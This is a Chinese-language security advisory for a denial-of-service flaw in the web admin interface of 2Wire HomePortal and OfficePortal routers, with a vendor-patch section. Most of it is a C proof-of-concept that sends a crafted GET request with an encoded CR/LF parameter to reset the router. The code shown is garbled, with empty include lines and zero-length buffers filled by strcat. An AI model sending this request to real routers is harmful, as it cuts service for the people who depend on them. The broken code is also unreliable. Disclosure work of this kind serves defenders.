2wire HomePortal Series
2wire OfficePortal Series

描述：

BUGTRAQ  ID: 19634

2Wire HomePortal和OfficePortal都是2Wire推出的小型路由器设备。

2Wire路由器的Web管理接口处理用户请求时存在漏洞，远程攻击者可能利用此漏洞对设备执行拒绝服务攻击。

如果向2Wire路由器的WEB管理接口发送了包含有换行符参数的特制GET请求的话，就会导致拒绝服务，必须重启路由器才能恢复正常运行。

<*来源：preth00nker （Preth00nker@gmail.com）
  
  链接：http://secunia.com/advisories/21583/
        http://www.mexhackteam.org/prethoonker/DoS_ADV_2Wire.txt
*>

测试方法：

////////////////////////////////// [ STARTING CODE ]
////////////////////////////////////////////////////
////
////  [ Explanation ] this PoC make an evil_request
////  and send to the server , when the server process
////  it the request fall him, AND THE MODEM WILL RESET!.
////
////  [ Note ] This Poc was coded  using Dev-C++  4.9.9.2
////  If you have any error with the librarys you need
////  include libws2_32.a at the project.
////
////                Enjoy it n_nU!..
////    Coded by preth00nker (using Mexican skill!)

#pragma comment(lib,"libws2_32.a")
#include                 
#include
#include
#include "winsock2.h"

unsigned long dir;
char h[]="";
short port;
char badreq[]="";
int state;

int main(int argc, char *argv[])
{
printf("\n################################################\n");
printf("####\n");
printf("####          PoC of DoS 2wire_Gateway\n");
printf("####               By Preth00nker\n");
printf("####         http://www.mexhackteam.org\n");
printf("####\n");
printf("####\n\n");
     if  (argc<4){
     printf("[Usage] %s $Host $Port $Variable\n",argv[0]);
     printf("\n[I.E.] %s 192.168.1.254 80 PAGE\n",argv[0]);
     return 0;
     }
    //Crear socket
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2,2),&wsaData);
    SOCKET wsck;
    //Estructuras
    struct sockaddr_in Wins;
    struct hostent *target;
    //Wins
    Wins.sin_family=AF_INET;
    Wins.sin_port=htons((short)atoi(argv[2]));
    target=gethostbyname(argv[1]);
    Wins.sin_addr.s_addr=inet_addr(inet_ntoa(*(struct in_addr *)target->h_addr));
    //llamamos al socket
    wsck=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,(int unsigned)NULL,(int unsigned)NULL,(int unsigned)NULL);
    //Verifica por error
    if (wsck==SOCKET_ERROR){printf("Error al crear el socket =!..");WSACleanup();return 0;}
    printf("Socket creado correctamente!..  hWndl: %d",wsck);
    //Conecta
    if(WSAConnect(wsck,(SOCKADDR*)&Wins,sizeof(Wins),NULL,NULL,NULL,NULL)==SOCKET_ERROR){
        WSACleanup();
        return 0;
        printf("\nError al conectar =!..");
    }
    printf("\nConectado!..");
    //Make a bad query and send it ..Mwajuajua!..
    strcat(badreq,"GET /xslt?");
    strcat(badreq,argv[3]);
    strcat(badreq,"=%0D%0A HTTP/1.0\r\n");
    strcat(badreq,"Accept-Language: es-mx\r\n");
    strcat(badreq,"User-Agent: MexHackTeam\r\n");
    strcat(badreq,"Host: ");    
    strcat(badreq,argv[1]);
    strcat(badreq, "\r\n\r\n\r\n");
    send(wsck , badreq ,(int)strlen(badreq), 0);
    printf("\nDatos Mandados!..");
    //finalized
    Sleep(100);
    printf("\nThat's all, Check this out!...\n");
    WSACleanup();
    return 0;
}
//////////////////////////////////////////// [ EOF ]
////////////////////////////////////////////////////

建议：

厂商补丁：

2wire
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.2wire.com/